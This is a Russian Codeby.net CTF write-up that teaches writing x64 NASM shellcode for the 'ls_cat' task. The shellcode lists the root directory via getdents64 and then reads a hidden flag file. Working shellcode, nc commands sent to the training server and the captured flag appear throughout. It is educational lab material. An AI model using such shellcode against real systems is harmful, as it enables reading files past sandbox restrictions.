• 15 апреля стартует «Курс «SQL-injection Master» ©» от команды The Codeby

    За 3 месяца вы пройдете путь от начальных навыков работы с SQL-запросами к базам данных до продвинутых техник. Научитесь находить уязвимости связанные с базами данных, и внедрять произвольный SQL-код в уязвимые приложения.

    На последнюю неделю приходится экзамен, где нужно будет показать свои навыки, взломав ряд уязвимых учебных сайтов, и добыть флаги. Успешно сдавшие экзамен получат сертификат.

    Запись на курс до 25 апреля. Получить промодоступ ...

Статья [0x02] Изучаем таски по написанию шелл-кодов: ls_cat

🖐 Приветствую всех читателей Codeby.net 🖐

Это вторая часть цикла статей "
Изучаем таски по написанию шелл-кодов". Сегодня мы изучим, как узнать какие файлы находятся в директории, и на основе полученной информации откроем нужный нам файл.
Прошлая часть -> Изучаем таски по написанию шелл-кодов


1615041528642.png

Описание таска ls_cat:

1615030062742.png




Название говорит само за себя: Нужно узнать, какие файлы находятся в корневой директории /, найти нужный нам файл и прочитать его содержимое.

Изучим программу ls_cat.elf

Программа ls_cat почти идентична cat. При попытке декомпилировать, появляется ошибка.

1615030490052.png


Воспользуемся seccomp-tools для изучения запретов и разрушений: seccomp-tools dump ./ls_cat.elf

1615030726613.png


Появился новый разрешённый системный вызов getdents64.

Системный вызов getdents() читает несколько структур linux_dirent из каталога, на который указывает открытый файловый дескриптор fd, в буфер, указанный в dirp (указатель на директорию). В аргументе count задаётся размер этого буфера. Второй аргумент - это указатель на буфер.
При успешном выполнении возвращается количество прочитанных байтов. В конце каталога возвращается 0. При ошибке возвращается -1.


Напишем шелл-код


Разделим шелл-код на два отдельных файла:
Первый - это подобие программы ls.
Второй - это программа cat, которую мы писали в прошлой части.



Номера системных вызовов должны быть в регистре rax. Аргументы передаются в порядке rdi, rsi, rdx, r10, r8, r9.
Напишем шелл-код, который выводит нам файлы и каталоги в корневой директории /.

Шелл-код (ls)
C-подобный:
BITS 64 ; Указываем компилятору nasm, что пишем код для архитектуры x64

;     int open(const char *pathname, int flags, mode_t mode);
;                       arg0 (%rdi), arg1 (%rsi), arg2 (%rdx)

push 0x2 ; Кладём на стек номер системного вызова open
pop rax ;  Забираем из стека номер системного вызова open в регистр rax
lea rdi, [rel +root_dir] ; Кладём указатель на метку с флагом в регистр rdi
xor edx, edx ; Обнуляем регистре rdx.
xor esi, esi ; Обнуляем регистре rsi.
syscall ; Системный вызов open

;       ssize_t getdents64(int fd, void *dirp, size_t count)
;                       arg0 (%rdi), arg1 (%rsi), arg2 (%rdx)

mov rdi, rax ; Перемещаем в rdi файловый дескриптор, после открытия файла с помощью системного вызова open
push 0xd9 ;Кладём на стек номер системного вызова getdents64
pop rax ; Забираем из стека номер системного вызова open в регистр rax
sub rsp, 0x1000 ; Выделяем место в стеке для указателя на буфер с открытой директорией. Можно указать другое число.
mov rsi, rsp ; Перемещаем указатель на буфер с открытой директорией в регистр rsi.
mov rdx, 0x1000 ; Указываем размер буфера с открытой директорией
syscall ; Системный вызов getdents64

;         ssize_t write(int fd, const void *buf, size_t count);
;                      arg0 (%rdi), arg1 (%rsi), arg2 (%rdx)

mov rdi, rax ; Перемещаем в rdi файловый дескриптор, после получения файлов в директории с помощью системного вызова open
push 0x1 ; Номер системного вызова write
pop rax ; Забираем из стека номер системного вызова write в регистр rax
push 0x1 ; Файловый дескриптор stdout.
pop rdi ; Забираем из стека номер файлового дескриптора stdout в регистр rax.
syscall ; Системный вызов write

root_dir: ; Метка для адреса с строкой /. Вместо этой метки в программе будет адрес на эту строку.
db "/" ; Строка /

В этой части мы не будем разбирать, как можно передать структуру в шелл-код. В этом шелл-коде можно не передавать точные структуры системному вызову getdents64. Он будет работать, если мы просто напишем размер 0x1000 в команде sub rsp, 0x1000 и переместим указатель на буфер с открытой директорией в регистр rsi командой mov rsi, rsp.

Сохраняем код в shell.asm
Компилируем в бинарный файл: nasm shell.asm -o shell
Испытываем программу на сервере: cat shell | nc 109.233.56.90 11662

Посмотрим на вывод программы:

1615035113664.png


При таком выводе читать файлы в каталоге совсем неудобно. Писать фильтрацию непечатных символов в шелл-коде не будем, так как эта фильтрация сильно увеличит размер шелл-кода. А шелл-коды должны быть небольшие!

В linux существует утилита tr. Команда tr (translate) используется в Linux в основном для преобразования и удаления символов. Она часто находит применение в скриптах обработки текста. Ее можно использовать для преобразования верхнего регистра в нижний, сжатия повторяющихся символов и удаления символов.


Синтаксис команды tr не распознаётся у меня в zsh, поэтому для этой команды я использую bash.
Используем команду cat shell_my | nc 109.233.56.90 11665 | tr '\n' ' ' | tr -dc [:print:] | tr ' ' '\n'. Она передаёт наш шелл-код программе на сервере, и в ответе от сервера пробелы заменяет на символы новой строки и убирает все непечатные символы.

1615038009439.png


В строке .dockerenvXetc:x0s3cr3t_f1l3_w1th_fl0g4task;varusr<tmp=run>opt?srv@mntArootproc(sysB8bootCH виден интересный текст, похожий на название файла: s3cr3t_f1l3_w1th_fl0g

Используем шелл-код из прошлой статьи, но заменим строку /flag на /s3cr3t_f1l3_w1th_fl0g.

Шелл-код (cat)
C-подобный:
BITS 64 ; Указываем компилятору nasm, что пишем код для ахитектуры x64

sub rsp, 0x60 ; Выделяем место в стеке для флага. Можно указать другое число.

;     int open(const char *pathname, int flags, mode_t mode);
;              arg0 (%rdi), arg1 (%rsi), arg2 (%rdx)

push 0x2 ; Кладём на стек номер системного вызова open
pop rax ;  Забираем из стека номер системного вызова open в регистр rax
lea rdi, [rel +flag] ; Кладём указатель на метку с флагом в регистр rdi
xor edx, edx ; Обнуляем регистре rdx.
xor esi, esi ; Обнуляем регистре rsi.
syscall ; Системный вызов open

; ssize_t read(int fd, void *buf, size_t count);
;              arg0 (%rdi), arg1 (%rsi), arg2 (%rdx)

mov rdi, rax ; Перемещаем в rdi файловый дескриптор, после открытия файла с помощью системного вызова open
xor eax, eax ; Номер системного read (0) вызова в rax
mov rsi, rsp ; Передаём в rdi выделенное нами ранее место для флага.
push 0x60 ; Кладём на стек размер выделенного нами места
pop rdx ; Забираем из стека размер выделенного нами места в регистр rdx
syscall ; Системный вызов read

; ssize_t write(int fd, const void *buf, size_t count);
;              arg0 (%rdi), arg1 (%rsi), arg2 (%rdx)

push 1 ; Номер системного вызова write
pop rax; Забираем из стека номер системного вызова write в регистр rax
push 1 ; Файловый дескриптор stdout.
pop rdi ; Забираем из стека номер файлового дескриптора stdout в регистр rax
syscall ; Системный вызов write

flag: ; Метка для адреса с строкой /flag. Вместо этой метки в программе будет адрес на строку
db "/s3cr3t_f1l3_w1th_fl0g" ; Строка /s3cr3t_f1l3_w1th_fl0g

Сохраняем код в shell_cat.asm
Компилируем в бинарный файл: nasm shell_cat.asm -o shell_cat
Испытываем программу на сервере: cat shell_cat | nc 109.233.56.90 11665
Вывод: Shellcode: spbctf{8378ef99d4ec9d3e5080907157476840}�}���Tx�pӰ�sU��Yx�Illegal instructio
Флаг - spbctf{8378ef99d4ec9d3e5080907157476840}

Проверка флага:

1615038565277.png


Спасибо за внимание :)
 
Последнее редактирование:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!